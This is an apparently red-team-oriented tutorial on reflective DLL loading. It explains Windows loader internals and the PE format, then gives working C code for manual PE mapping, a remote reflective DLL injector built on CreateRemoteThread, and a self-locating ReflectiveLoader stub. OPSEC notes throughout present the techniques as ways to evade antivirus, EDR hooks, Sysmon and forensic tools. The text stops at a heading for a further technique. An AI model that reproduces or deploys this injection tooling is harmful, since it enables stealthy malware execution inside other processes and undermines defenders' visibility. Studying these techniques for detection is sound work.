Legend:
[RDI]= Reflective DLL Injection |[HOLLOW]= Process/DLL Hollowing |[MAP]= Manual PE Mapping |[OPSEC]= Operational Security note |[DETECT]= Detection vector |[EVASION]= Bypass technique |[TOOL]= Tool reference |[INTERN]= Windows Internals concept
1. Why Reflective Loading
What it means: Standard Windows loading leaves artifacts everywhere — DLL paths on disk, module entries in the Process Environment Block (PEB), handles in kernel object tables, Sysmon Event ID 7 (image load) logs. Reflective loading is the art of loading code into memory without going through the Windows loader, leaving none of those breadcrumbs.
The core problem with standard LoadLibrary:
Standard LoadLibrary("evil.dll"):
├─ Opens evil.dll from disk → AV scans the file
├─ Creates a file-backed section → Kernel records file handle
├─ Maps sections into process memory → Standard page permissions
├─ Adds to PEB.Ldr module list → Tool: tasklist /m, Process Hacker
├─ Fires LdrDllNotification callback → EDR hook intercepts it
├─ Generates ETW event (image load) → Sysmon EventID 7 fires
└─ Calls DllMain → EDR can monitor DllMain calls
Why reflective loading changes the game:
Reflective Loading (RDI / Manual Map):
├─ DLL bytes already in memory → No disk read, no file handle
├─ No LoadLibrary called → No LdrDllNotification
├─ Not added to PEB module list → Invisible to tasklist /m
├─ No Sysmon EventID 7 → ETW blind
├─ Memory region: not file-backed → Looks like heap/stack memory
└─ DllMain called manually by loader → No standard callback chain
Result: The DLL executes but is INVISIBLE to most standard forensic tools.
Where this matters in red teaming:
| Scenario | Standard Load | Reflective Load |
|---|---|---|
| AV scans module list | DLL detected | Not in module list |
| Sysmon hunting | EventID 7 fires | No event generated |
tasklist /m enumeration |
DLL appears | Invisible |
Volatility dlllist |
DLL appears | Not listed |
| PEB module walk | DLL found | Not present |
| Memory forensics (malfind) | May be found | Private RWX memory found (still detectable) |
| C2 frameworks | Disk artifact | In-memory only |
The reflective loading family:
Reflective Loading Techniques:
├─ Manual PE Mapping → Load PE into self without LoadLibrary
├─ Reflective DLL Injection → DLL self-loads using embedded loader stub
├─ sRDI → DLL converted to pure shellcode, then loaded
├─ Process Hollowing → Replace legitimate process image with payload
├─ DLL Hollowing → Overwrite .text section of legitimate DLL
├─ Phantom DLL Hollowing → DLL hollowing via NTFS transactions (no disk write)
└─ Process Doppelgänging → PE section created from transacted (phantom) file
[OPSEC] The fundamental OPSEC principle: Anything on disk is scanned. Anything in the standard loader path is logged. Reflective loading attacks both surfaces.
2. Windows DLL Loading Internals — What We're Replacing
[INTERN] Understanding what the Windows loader does is essential to understanding what reflective loaders must replicate manually.
2.1 The Windows Loader Flow
LoadLibrary("kernel32.dll") call flow:
User Mode:
LoadLibraryA() → KERNELBASE.dll wrapper
→ LdrLoadDll() → ntdll.dll loader entry point
→ LdrpLoadDll() → Internal loader (finds/loads the DLL)
→ LdrpFindOrMapDll()
→ NtCreateSection() → Kernel: create file-backed section
→ NtMapViewOfSection() → Kernel: map into VA space
→ LdrpProcessImportTable() → Resolve all imports (IAT fix)
→ LdrpDoPostSnapWork() → TLS callbacks, static imports
→ LdrpInsertDataTableEntry() → Add to PEB.Ldr lists
→ DllMain() called → Entry point executed
Kernel Mode (ntoskrnl):
MmCreateSection() → Section object created
MmMapViewOfSection() → Pages mapped
PFN database updated → Physical page tracking
2.2 PEB Structure (Process Environment Block)
// PEB is where all process metadata lives
// Address: GS:[0x60] on x64, FS:[0x30] on x86
// _PEB structure (simplified):
typedef struct _PEB {
BYTE InheritedAddressSpace;
BYTE ReadImageFileExecOptions;
BYTE BeingDebugged; // AntiDebug: IsDebuggerPresent()
BYTE BitField;
PVOID Mutant;
PVOID ImageBaseAddress; // Base of main EXE
PPEB_LDR_DATA Ldr; // ← Module list lives here
// ...
PVOID ProcessParameters;
// ...
} PEB, *PPEB;
// PEB_LDR_DATA: The module list
typedef struct _PEB_LDR_DATA {
ULONG Length;
BOOL Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList; // ← 3 linked lists, all modules
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;
// LDR_DATA_TABLE_ENTRY: Per-module entry
typedef struct _LDR_DATA_TABLE_ENTRY {
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase; // Module base address
PVOID EntryPoint; // DllMain address
ULONG SizeOfImage; // Size in bytes
UNICODE_STRING FullDllName; // Full path on disk
UNICODE_STRING BaseDllName; // Short name (kernel32.dll)
// ...
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
What a reflective loader must do instead:
Windows Loader Action Reflective Loader Alternative
─────────────────────────────────────────────────────────────
NtCreateSection(file) → DLL bytes already in memory buffer
NtMapViewOfSection() → VirtualAlloc() + manual section copy
LdrpProcessImportTable() → Custom IAT fix-up loop
LdrpInsertDataTableEntry() → SKIP (or manual PEB link for evasion)
Relocation processing → Custom relocation fixup loop
DllMain() call → Manual call to DllMain
TLS callbacks → Manual TLS callback invocation (if needed)
[DETECT] Defender/EDR insight: Modern EDRs hook LdrLoadDll and LdrpLoadDll in ntdll.dll. Reflective loaders bypass these hooks entirely since they never call into the standard loader path.
3. PE Format Quick Reference
[INTERN] Every reflective loading technique requires parsing the PE format. This is the map you're reading.
3.1 PE Layout
PE File On Disk:
┌──────────────────────────────────┐ Offset 0x0
│ DOS Header (IMAGE_DOS_HEADER) │
│ - e_magic: "MZ" │
│ - e_lfanew: offset to PE header │
├──────────────────────────────────┤ e_lfanew offset (typically 0x80)
│ NT Headers (IMAGE_NT_HEADERS) │
│ - Signature: "PE\0\0" │
│ - FileHeader │
│ - Machine: 0x8664 (x64) │
│ - NumberOfSections │
│ - OptionalHeader │
│ - ImageBase (preferred VA) │
│ - SizeOfImage (total size) │
│ - SizeOfHeaders │
│ - AddressOfEntryPoint (RVA) │
│ - DataDirectory[16]: │
│ [0] Export Table │
│ [1] Import Table (IAT) │
│ [5] Base Relocation Table │
├──────────────────────────────────┤
│ Section Headers (array) │
│ - .text (code, RX) │
│ - .data (init data, RW) │
│ - .rdata (read-only data, R) │
│ - .rsrc (resources) │
│ - .reloc (relocations) │
├──────────────────────────────────┤
│ .text section │ code
├──────────────────────────────────┤
│ .data section │ initialized variables
├──────────────────────────────────┤
│ .rdata section │ strings, IAT stubs
├──────────────────────────────────┤
│ .reloc section │ base relocation table
└──────────────────────────────────┘
Key distinction:
RVA (Relative Virtual Address) = offset from ImageBase when mapped in memory
FOA (File Offset Address) = offset from start of file on disk
VA (Virtual Address) = ImageBase + RVA (the actual in-memory address)
3.2 Key PE Navigation (C)
// Navigate PE headers from a base address in memory
#include <windows.h>
void parse_pe(LPVOID base) {
// 1. MZ header
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base;
// dos->e_magic == 0x5A4D ("MZ")
// 2. NT headers (PE\0\0 signature)
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((BYTE*)base + dos->e_lfanew);
// nt->Signature == 0x00004550 ("PE\0\0")
// 3. Optional header (has the good stuff)
PIMAGE_OPTIONAL_HEADER opt = &nt->OptionalHeader;
ULONG_PTR imageBase = opt->ImageBase; // Preferred load address
DWORD sizeOfImage = opt->SizeOfImage; // Total mapped size
DWORD entryPoint = opt->AddressOfEntryPoint; // RVA to DllMain/main
// 4. Section headers (array immediately after NT headers)
PIMAGE_SECTION_HEADER sections = IMAGE_FIRST_SECTION(nt);
WORD numSections = nt->FileHeader.NumberOfSections;
for (int i = 0; i < numSections; i++) {
// sections[i].Name → ".text\0\0\0" (8 bytes)
// sections[i].VirtualAddress → RVA in memory
// sections[i].PointerToRawData → FOA on disk
// sections[i].SizeOfRawData → size on disk
// sections[i].Misc.VirtualSize → size in memory (may differ)
// sections[i].Characteristics → RWX flags
}
// 5. Data directories: import/export/reloc tables
PIMAGE_DATA_DIRECTORY importDir =
&opt->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
PIMAGE_DATA_DIRECTORY relocDir =
&opt->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
PIMAGE_DATA_DIRECTORY exportDir =
&opt->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
// importDir->VirtualAddress = RVA of IMAGE_IMPORT_DESCRIPTOR array
// importDir->Size = total size of import table
}
4. Manual PE Mapping (Memory-Only PE Loading)
What it means: Load a PE file (EXE or DLL) entirely from a memory buffer — no disk read, no LoadLibrary call. You manually replicate every step the Windows loader does. This is the foundation for every other reflective technique.
4.1 The 6 Steps of Manual Mapping
Manual PE Mapping Steps:
1. Allocate memory at preferred ImageBase (or anywhere if ASLR)
2. Copy PE headers to allocated memory
3. Copy each section to its correct RVA offset
4. Fix base relocations (if we got a different base than preferred)
5. Resolve imports — fix up the IAT
6. Call the entry point (DllMain / main)
4.2 Step 1–3: Allocate + Copy Headers + Copy Sections
// manual_map.c — Steps 1-3: Allocation and section mapping
#include <windows.h>
#include <stdio.h>
// pe_buf: raw PE bytes in memory (read from file, network, resource, etc.)
// pe_size: size of pe_buf
// Returns: base address of mapped PE in memory
LPVOID manual_map(BYTE* pe_buf, SIZE_T pe_size) {
// ──────────────────────────────────────────────────
// Step 0: Parse headers from the raw buffer
// ──────────────────────────────────────────────────
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)pe_buf;
if (dos->e_magic != IMAGE_DOS_SIGNATURE) { // "MZ"
printf("[-] Not a PE file\n");
return NULL;
}
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(pe_buf + dos->e_lfanew);
if (nt->Signature != IMAGE_NT_SIGNATURE) { // "PE\0\0"
printf("[-] Invalid NT signature\n");
return NULL;
}
PIMAGE_OPTIONAL_HEADER opt = &nt->OptionalHeader;
DWORD sizeOfImage = opt->SizeOfImage; // How much memory we need
// ──────────────────────────────────────────────────
// Step 1: Allocate memory for the mapped image
// ──────────────────────────────────────────────────
// Try the preferred base first (may fail due to ASLR / existing mappings)
LPVOID imageBase = VirtualAlloc(
(LPVOID)opt->ImageBase, // Preferred base from PE header
sizeOfImage, // Total size of mapped image
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE // RWX — we'll fix per-section later
);
if (!imageBase) {
// ASLR blocked preferred base — let OS pick an address
imageBase = VirtualAlloc(
NULL, // Let OS choose
sizeOfImage,
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE
);
}
if (!imageBase) {
printf("[-] VirtualAlloc failed: %lu\n", GetLastError());
return NULL;
}
printf("[+] Allocated %d bytes at 0x%p\n", sizeOfImage, imageBase);
// ──────────────────────────────────────────────────
// Step 2: Copy PE headers to the allocated memory
// ──────────────────────────────────────────────────
memcpy(imageBase, pe_buf, opt->SizeOfHeaders);
printf("[+] Copied PE headers (%d bytes)\n", opt->SizeOfHeaders);
// ──────────────────────────────────────────────────
// Step 3: Copy each section to its correct RVA offset
// ──────────────────────────────────────────────────
PIMAGE_SECTION_HEADER sections = IMAGE_FIRST_SECTION(nt);
WORD numSections = nt->FileHeader.NumberOfSections;
for (int i = 0; i < numSections; i++) {
PIMAGE_SECTION_HEADER sec = §ions[i];
if (sec->SizeOfRawData == 0) {
// BSS-like section: no data on disk, zero-initialized
continue;
}
// Destination: imageBase + RVA (where section lives in memory)
BYTE* dest = (BYTE*)imageBase + sec->VirtualAddress;
// Source: pe_buf + file offset (where section lives on disk)
BYTE* src = pe_buf + sec->PointerToRawData;
memcpy(dest, src, sec->SizeOfRawData);
printf("[+] Mapped section [%.8s] → 0x%p (RVA: 0x%08X, size: %d)\n",
sec->Name, dest, sec->VirtualAddress, sec->SizeOfRawData);
}
return imageBase;
}
4.3 Step 4: Base Relocation Fixup
// Fix relocations: adjust all hardcoded addresses for the new base
// Called when allocated base ≠ PE's preferred ImageBase
void fix_relocations(LPVOID imageBase, PIMAGE_NT_HEADERS nt) {
PIMAGE_OPTIONAL_HEADER opt = &nt->OptionalHeader;
// Delta = difference between where we loaded vs. where PE expected to be
LONGLONG delta = (LONGLONG)imageBase - (LONGLONG)opt->ImageBase;
if (delta == 0) {
printf("[*] No relocation needed — loaded at preferred base\n");
return; // Lucky: got the preferred base
}
printf("[*] Relocation delta: 0x%llx\n", delta);
// Get the base relocation data directory
PIMAGE_DATA_DIRECTORY relocDir =
&opt->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
if (relocDir->Size == 0) {
printf("[-] No relocation table — PE cannot be relocated!\n");
// This PE has no .reloc section → hardcoded addresses will be wrong
return;
}
// Walk the relocation blocks
// Structure: [DWORD VirtualAddress][DWORD SizeOfBlock][WORD entries...]
PIMAGE_BASE_RELOCATION relocBlock =
(PIMAGE_BASE_RELOCATION)((BYTE*)imageBase + relocDir->VirtualAddress);
while (relocBlock->VirtualAddress != 0) {
// Each block covers a 4KB (0x1000) page
BYTE* pageBase = (BYTE*)imageBase + relocBlock->VirtualAddress;
// Number of relocation entries in this block
// Each entry is 2 bytes (WORD): high 4 bits = type, low 12 bits = offset
DWORD numEntries = (relocBlock->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION))
/ sizeof(WORD);
WORD* entries = (WORD*)((BYTE*)relocBlock + sizeof(IMAGE_BASE_RELOCATION));
for (DWORD i = 0; i < numEntries; i++) {
WORD entry = entries[i];
BYTE type = (entry >> 12) & 0xF; // High 4 bits
WORD offset = entry & 0x0FFF; // Low 12 bits
if (type == IMAGE_REL_BASED_ABSOLUTE) {
// Type 0 = padding, skip
continue;
}
if (type == IMAGE_REL_BASED_DIR64) {
// x64: patch 8-byte absolute address
ULONGLONG* patch = (ULONGLONG*)(pageBase + offset);
*patch += delta;
} else if (type == IMAGE_REL_BASED_HIGHLOW) {
// x86: patch 4-byte absolute address
DWORD* patch = (DWORD*)(pageBase + offset);
*patch += (DWORD)delta;
}
}
// Move to next block
relocBlock = (PIMAGE_BASE_RELOCATION)((BYTE*)relocBlock + relocBlock->SizeOfBlock);
}
printf("[+] Relocations fixed (delta: 0x%llx)\n", delta);
}
4.4 Step 5: Import Resolution (IAT Fix)
// Resolve imports: find each imported DLL + function, write addresses to IAT
// This is what the Windows loader's LdrpProcessImportTable() does
void fix_imports(LPVOID imageBase, PIMAGE_NT_HEADERS nt) {
PIMAGE_DATA_DIRECTORY importDir =
&nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
if (importDir->Size == 0) {
printf("[*] No imports to resolve\n");
return;
}
// IMAGE_IMPORT_DESCRIPTOR array — one per imported DLL, terminated by null
PIMAGE_IMPORT_DESCRIPTOR importDesc =
(PIMAGE_IMPORT_DESCRIPTOR)((BYTE*)imageBase + importDir->VirtualAddress);
while (importDesc->Name != 0) {
// Get the DLL name (e.g., "kernel32.dll")
char* dllName = (char*)imageBase + importDesc->Name;
// Load (or find already-loaded) the dependency DLL
HMODULE hDep = LoadLibraryA(dllName);
if (!hDep) {
printf("[-] Failed to load dependency: %s\n", dllName);
importDesc++;
continue;
}
printf("[+] Resolving imports from: %s\n", dllName);
// INT (Import Name Table) = OriginalFirstThunk → function names/ordinals
// IAT (Import Address Table) = FirstThunk → where to write resolved addresses
PIMAGE_THUNK_DATA nameThunk =
(PIMAGE_THUNK_DATA)((BYTE*)imageBase + importDesc->OriginalFirstThunk);
PIMAGE_THUNK_DATA addrThunk =
(PIMAGE_THUNK_DATA)((BYTE*)imageBase + importDesc->FirstThunk);
while (nameThunk->u1.AddressOfData != 0) {
FARPROC funcAddr = NULL;
if (IMAGE_SNAP_BY_ORDINAL(nameThunk->u1.Ordinal)) {
// Import by ordinal (just a number, no name)
WORD ordinal = IMAGE_ORDINAL(nameThunk->u1.Ordinal);
funcAddr = GetProcAddress(hDep, MAKEINTRESOURCEA(ordinal));
printf(" [>] Resolved ordinal #%d → 0x%p\n", ordinal, funcAddr);
} else {
// Import by name (most common)
PIMAGE_IMPORT_BY_NAME nameEntry =
(PIMAGE_IMPORT_BY_NAME)((BYTE*)imageBase + nameThunk->u1.AddressOfData);
funcAddr = GetProcAddress(hDep, nameEntry->Name);
printf(" [>] Resolved %s → 0x%p\n", nameEntry->Name, funcAddr);
}
if (!funcAddr) {
printf(" [-] Failed to resolve function!\n");
}
// Write resolved address into the IAT
addrThunk->u1.Function = (ULONG_PTR)funcAddr;
nameThunk++;
addrThunk++;
}
importDesc++;
}
}
4.5 Step 6: Execute Entry Point
// Execute the manually mapped PE
void execute_pe(LPVOID imageBase, PIMAGE_NT_HEADERS nt, BOOL isDll) {
DWORD entryPointRVA = nt->OptionalHeader.AddressOfEntryPoint;
LPVOID entryPoint = (BYTE*)imageBase + entryPointRVA;
printf("[+] Entry point: 0x%p (RVA: 0x%08X)\n", entryPoint, entryPointRVA);
if (isDll) {
// DLL: call DllMain(hModule, DLL_PROCESS_ATTACH, 0)
typedef BOOL(WINAPI* DllMain_t)(HINSTANCE, DWORD, LPVOID);
DllMain_t dllMain = (DllMain_t)entryPoint;
BOOL result = dllMain((HINSTANCE)imageBase, DLL_PROCESS_ATTACH, NULL);
printf("[+] DllMain returned: %s\n", result ? "TRUE" : "FALSE");
} else {
// EXE: call the entry directly as a thread
HANDLE hThread = CreateThread(NULL, 0,
(LPTHREAD_START_ROUTINE)entryPoint,
NULL, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
}
}
// ─── Full Manual Mapping Example ────────────────────────────
int main() {
// Read PE from file (or resource, or network, or decrypt from buffer)
HANDLE hFile = CreateFileA("payload.dll", GENERIC_READ, 0, NULL,
OPEN_EXISTING, 0, NULL);
DWORD fileSize = GetFileSize(hFile, NULL);
BYTE* peBuf = (BYTE*)malloc(fileSize);
DWORD bytesRead;
ReadFile(hFile, peBuf, fileSize, &bytesRead, NULL);
CloseHandle(hFile);
// Parse NT headers from buffer
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)peBuf;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(peBuf + dos->e_lfanew);
// Execute all steps
LPVOID imageBase = manual_map(peBuf, fileSize);
if (!imageBase) return 1;
// Re-parse NT headers from mapped image (ImageBase may have changed)
PIMAGE_NT_HEADERS ntMapped = (PIMAGE_NT_HEADERS)(
(BYTE*)imageBase + ((PIMAGE_DOS_HEADER)imageBase)->e_lfanew
);
fix_relocations(imageBase, ntMapped);
fix_imports(imageBase, ntMapped);
execute_pe(imageBase, ntMapped, TRUE); // TRUE = it's a DLL
free(peBuf);
return 0;
}
[OPSEC] Memory permissions: PAGE_EXECUTE_READWRITE (RWX) on the whole image is a red flag. Proper implementations set per-section permissions: .text → RX, .data → RW, .rdata → R. Do this with VirtualProtect() per section after mapping.
5. Reflective DLL Injection (RDI) — Stephen Fewer's Technique
What it means: Instead of an external injector manually mapping the DLL, the DLL carries its own loader as an exported function called ReflectiveLoader. The injector merely: 1) writes the raw DLL bytes into the target process, 2) finds the ReflectiveLoader export, and 3) creates a thread at that address. The DLL then loads itself — no external knowledge of PE format required by the injector.
5.1 How It Differs From Manual Mapping
Manual Mapping (injector does everything):
Injector:
├─ Parse PE headers
├─ Allocate remote memory
├─ Map sections (WriteProcessMemory)
├─ Fix relocations
├─ Fix IAT
└─ Create thread at entry point
Reflective DLL Injection (DLL does it itself):
Injector:
├─ Write raw DLL bytes to remote process (one WriteProcessMemory call)
├─ Find ReflectiveLoader offset in raw bytes
└─ CreateRemoteThread at (remote_base + ReflectiveLoader_offset)
DLL (inside target process):
└─ ReflectiveLoader() runs:
├─ Find own base address (using calling convention trick)
├─ Parse own PE headers
├─ Allocate new memory block
├─ Map own sections to new block
├─ Fix own relocations
├─ Resolve own imports (via PEB walk — see §11)
└─ Call own DllMain
5.2 The Injector Side (C)
// rdi_injector.c — External injector for reflective DLL
// Writes raw DLL bytes to remote process, finds ReflectiveLoader, runs it
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
// Find the file offset of ReflectiveLoader export in the raw DLL bytes
DWORD find_reflective_loader_offset(BYTE* dll_buf) {
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)dll_buf;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(dll_buf + dos->e_lfanew);
// Get export directory
DWORD exportRVA = nt->OptionalHeader
.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]
.VirtualAddress;
if (!exportRVA) return 0;
PIMAGE_EXPORT_DIRECTORY exports =
(PIMAGE_EXPORT_DIRECTORY)(dll_buf + exportRVA);
// Walk export names — look for "ReflectiveLoader"
DWORD* nameRVAs = (DWORD*)(dll_buf + exports->AddressOfNames);
WORD* ordinals = (WORD*) (dll_buf + exports->AddressOfNameOrdinals);
DWORD* funcRVAs = (DWORD*)(dll_buf + exports->AddressOfFunctions);
for (DWORD i = 0; i < exports->NumberOfNames; i++) {
char* name = (char*)(dll_buf + nameRVAs[i]);
if (strcmp(name, "ReflectiveLoader") == 0) {
WORD ordinal = ordinals[i];
DWORD funcRVA = funcRVAs[ordinal];
// Convert RVA to file offset (walk section headers)
PIMAGE_SECTION_HEADER sections = IMAGE_FIRST_SECTION(nt);
for (WORD s = 0; s < nt->FileHeader.NumberOfSections; s++) {
DWORD secStart = sections[s].VirtualAddress;
DWORD secEnd = secStart + sections[s].SizeOfRawData;
if (funcRVA >= secStart && funcRVA < secEnd) {
return sections[s].PointerToRawData
+ (funcRVA - secStart);
}
}
}
}
return 0;
}
BOOL inject_reflective_dll(DWORD pid, BYTE* dll_buf, SIZE_T dll_size) {
// Open target process
HANDLE hProcess = OpenProcess(
PROCESS_ALL_ACCESS, FALSE, pid
);
if (!hProcess) return FALSE;
// Allocate memory in remote process
LPVOID remoteBase = VirtualAllocEx(
hProcess, NULL, dll_size,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
// Write raw DLL bytes to remote process
DWORD written;
WriteProcessMemory(hProcess, remoteBase, dll_buf, dll_size, &written);
printf("[+] Written %d bytes to remote process at 0x%p\n",
written, remoteBase);
// Find ReflectiveLoader offset in the raw DLL bytes
DWORD loaderOffset = find_reflective_loader_offset(dll_buf);
if (!loaderOffset) {
printf("[-] ReflectiveLoader export not found!\n");
return FALSE;
}
// The loader function address in the REMOTE process
LPVOID remoteLoader = (BYTE*)remoteBase + loaderOffset;
printf("[+] ReflectiveLoader at remote 0x%p\n", remoteLoader);
// Create thread in remote process starting at ReflectiveLoader
HANDLE hThread = CreateRemoteThread(
hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)remoteLoader,
NULL, 0, NULL
);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
CloseHandle(hProcess);
printf("[+] Reflective injection complete\n");
return TRUE;
}
int main(int argc, char* argv[]) {
DWORD pid = atoi(argv[1]); // Target PID
// Load DLL from file
HANDLE hFile = CreateFileA("reflective.dll", GENERIC_READ, 0,
NULL, OPEN_EXISTING, 0, NULL);
DWORD dllSize = GetFileSize(hFile, NULL);
BYTE* dllBuf = (BYTE*)malloc(dllSize);
DWORD read;
ReadFile(hFile, dllBuf, dllSize, &read, NULL);
CloseHandle(hFile);
inject_reflective_dll(pid, dllBuf, dllSize);
free(dllBuf);
return 0;
}
5.3 The ReflectiveLoader Stub (C — Self-Loading)
// reflective_loader.c — The loader embedded in the DLL itself
// Exported as "ReflectiveLoader"
// This function: finds its own base address, maps itself, resolves imports, calls DllMain
#include <windows.h>
#include <stdint.h>
// ─── Helper: PEB walk to find kernel32.dll base (no imports!) ───
// ReflectiveLoader cannot use GetProcAddress/LoadLibrary — it has no IAT yet!
// Must find these functions manually via PEB → module list
typedef struct _UNICODE_STR {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STR;
typedef struct _LDR_DATA_TABLE_ENTRY {
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STR FullDllName;
UNICODE_STR BaseDllName;
} MY_LDR_ENTRY, *PMY_LDR_ENTRY;
// Get function address from a module's export table (no GetProcAddress dependency)
FARPROC get_export(HMODULE hModule, const char* funcName) {
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)hModule;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((BYTE*)hModule + dos->e_lfanew);
DWORD exportRVA = nt->OptionalHeader
.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]
.VirtualAddress;
PIMAGE_EXPORT_DIRECTORY exp =
(PIMAGE_EXPORT_DIRECTORY)((BYTE*)hModule + exportRVA);
DWORD* names = (DWORD*)((BYTE*)hModule + exp->AddressOfNames);
WORD* ordinals = (WORD*) ((BYTE*)hModule + exp->AddressOfNameOrdinals);
DWORD* funcs = (DWORD*)((BYTE*)hModule + exp->AddressOfFunctions);
for (DWORD i = 0; i < exp->NumberOfNames; i++) {
if (strcmp((char*)((BYTE*)hModule + names[i]), funcName) == 0) {
return (FARPROC)((BYTE*)hModule + funcs[ordinals[i]]);
}
}
return NULL;
}
// ─── The actual ReflectiveLoader function ───────────────────────
__declspec(dllexport) ULONG_PTR WINAPI ReflectiveLoader(void) {
// Step 1: Find our own current base address
// Trick: use RIP-relative call to find current instruction address,
// then walk backwards looking for "MZ" header
#ifdef _WIN64
ULONG_PTR uiLibraryAddress;
__asm__ volatile (
"lea %0, [rip]" : "=r"(uiLibraryAddress)
);
#else
ULONG_PTR uiLibraryAddress;
__asm__ volatile (
"call _next\n"
"_next:\n"
"pop %0\n"
: "=r"(uiLibraryAddress)
);
#endif
// Walk backwards from current RIP until we find the MZ header
while (*(WORD*)uiLibraryAddress != 0x5A4D) { // "MZ"
uiLibraryAddress--;
}
// uiLibraryAddress now = our raw DLL base (in the injected buffer)
// Step 2: Parse own PE headers from the raw buffer
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)uiLibraryAddress;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(uiLibraryAddress + dos->e_lfanew);
DWORD sizeOfImage = nt->OptionalHeader.SizeOfImage;
// Step 3: Find kernel32.dll via PEB walk (no imports!)
// PEB address: x64 = GS:[0x60], x86 = FS:[0x30]
#ifdef _WIN64
PPEB peb = (PPEB)__readgsqword(0x60);
#else
PPEB peb = (PPEB)__readfsdword(0x30);
#endif
// Walk InMemoryOrderModuleList to find kernel32.dll
PLIST_ENTRY head = &peb->Ldr->InMemoryOrderModuleList;
PLIST_ENTRY curr = head->Flink;
HMODULE hKernel32 = NULL;
while (curr != head) {
PMY_LDR_ENTRY entry = CONTAINING_RECORD(
curr, MY_LDR_ENTRY, InMemoryOrderLinks
);
if (entry->BaseDllName.Buffer) {
// Check if BaseDllName contains "kernel32.dll" (case-insensitive)
WCHAR* name = entry->BaseDllName.Buffer;
// Compare first 8 chars: "KERNEL32"
if ((name[0] | 0x20) == 'k' && (name[1] | 0x20) == 'e' &&
(name[2] | 0x20) == 'r' && (name[3] | 0x20) == 'n') {
hKernel32 = (HMODULE)entry->DllBase;
break;
}
}
curr = curr->Flink;
}
// Step 4: Resolve needed APIs from kernel32 export table
typedef LPVOID(WINAPI* pVirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD);
typedef BOOL (WINAPI* pVirtualFree)(LPVOID, SIZE_T, DWORD);
typedef HMODULE(WINAPI* pLoadLibraryA)(LPCSTR);
typedef FARPROC(WINAPI* pGetProcAddress)(HMODULE, LPCSTR);
pVirtualAlloc fnVirtualAlloc = (pVirtualAlloc) get_export(hKernel32, "VirtualAlloc");
pLoadLibraryA fnLoadLibraryA = (pLoadLibraryA) get_export(hKernel32, "LoadLibraryA");
pGetProcAddress fnGetProcAddress = (pGetProcAddress) get_export(hKernel32, "GetProcAddress");
// Step 5: Allocate new memory for the proper mapped image
LPVOID newBase = fnVirtualAlloc(
(LPVOID)nt->OptionalHeader.ImageBase,
sizeOfImage,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
if (!newBase) {
newBase = fnVirtualAlloc(NULL, sizeOfImage,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
}
// Step 6: Copy headers + sections to new location
memcpy(newBase, (void*)uiLibraryAddress, nt->OptionalHeader.SizeOfHeaders);
PIMAGE_SECTION_HEADER sections = IMAGE_FIRST_SECTION(nt);
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++) {
if (sections[i].SizeOfRawData) {
memcpy(
(BYTE*)newBase + sections[i].VirtualAddress,
(BYTE*)uiLibraryAddress + sections[i].PointerToRawData,
sections[i].SizeOfRawData
);
}
}
// Step 7: Fix relocations (same as manual map — see §4.3)
// ... (relocation code here — same as fix_relocations() in §4.3)
// Step 8: Fix imports (same as manual map but using fnLoadLibraryA)
// ... (IAT resolution code here — using fnLoadLibraryA, fnGetProcAddress)
// Step 9: Call DllMain
PIMAGE_NT_HEADERS newNt = (PIMAGE_NT_HEADERS)(
(BYTE*)newBase + ((PIMAGE_DOS_HEADER)newBase)->e_lfanew
);
typedef BOOL(WINAPI* DllMain_t)(HINSTANCE, DWORD, LPVOID);
DllMain_t dllMain = (DllMain_t)(
(BYTE*)newBase + newNt->OptionalHeader.AddressOfEntryPoint
);
dllMain((HINSTANCE)newBase, DLL_PROCESS_ATTACH, NULL);
return (ULONG_PTR)newBase;
}
[OPSEC] Key insight: The ReflectiveLoader uses PEB walking to find kernel32.dll and resolve VirtualAlloc/LoadLibraryA — it cannot have any imports in its .idata section because those are not resolved yet when it first runs.
6. sRDI — Shellcode Reflective DLL Injection
